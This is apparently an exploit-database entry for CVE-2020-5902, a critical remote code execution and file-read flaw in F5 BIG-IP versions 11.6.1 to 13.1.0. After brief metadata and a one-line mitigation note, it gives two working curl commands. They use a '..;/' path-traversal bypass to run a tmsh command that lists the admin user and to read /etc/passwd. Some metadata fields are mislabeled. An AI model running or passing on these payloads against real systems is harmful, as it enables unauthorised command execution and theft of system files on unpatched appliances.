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Suggest Exploit
vendor:
Big-IP
by:
N/A
9.8
CVSS
CRITICAL
Remote Code Execution (RCE) and File Read
78
CWE
Product Name: Big-IP
Affected Version From: 11.6.1
Affected Version To: 13.1.0
Patch Exists: YES
Related CWE: CVE-2020-5902
CPE: a:f5:big-ip
Other Scripts: N/A
Platforms Tested: Windows, Linux, Mac
2020

RCE and File Read

This exploit allows an attacker to execute arbitrary code on the F5 Big-IP system and read files from the system. The exploit is achieved by sending a maliciously crafted HTTP request to the F5 Big-IP system, which contains a command to execute arbitrary code or a file read command.

Mitigation:

F5 has released a security advisory and patches to address this vulnerability.
Source

Exploit-DB raw data:

## RCE: 

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

## Read File: 

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'